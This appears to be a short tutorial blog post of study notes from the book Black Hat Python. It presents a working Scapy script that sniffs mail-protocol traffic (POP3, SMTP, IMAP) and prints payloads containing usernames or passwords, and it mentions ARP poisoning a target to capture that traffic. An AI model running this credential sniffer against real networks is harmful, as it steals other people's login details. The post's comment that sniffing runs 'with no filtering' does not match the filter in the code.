Python for Cybersecurity 30 — Scapy
Sharpen Python skills in cybersecurity field.
Get Yen Wang’s stories in your inbox
Join Medium for free to get updates from this writer.
This series of tutorials is mainly to share the notes taken while I was learning python for cybersecurity with the books — Black Hat Python.
There are some links in the section of References below.
Catalogue
- Scapy
Scapy
- Sniffing traffic to steal plaintext email credentials then ARP poisoning a target machine on the network so that we can sniff their traffic.
from scapy.all import sniff, TCP, IP
def packet_callback(packet):
if packet[TCP].payload:
mypacket = str(packet[TCP].payload)
if 'user' in mypacket.lower() or 'pass' in mypacket.lower():
print(f"[*] Destination: {packet[IP].dst}")
print(f"[*] {str(packet[TCP].payload)}")
def main():
sniff(filter='tcp port 110 or tcp port 25 or tcp port 143',
prn=packet_callback, store=0)
if __name__ == '__main__':
main()- Define the callback function that will receive each sniffed packet
- Then tell Scapy to start sniffing on all interfaces with no filtering
Reference
- Black Hat Python, 2nd Edition: Python Programming for Hackers and Pentesters | Amazon e-book
- Awesome Youtube Tutorial | Elevate Cyber
- Awesome Github source codes | Selfmade
Source Code
Github demo files | Paramiko









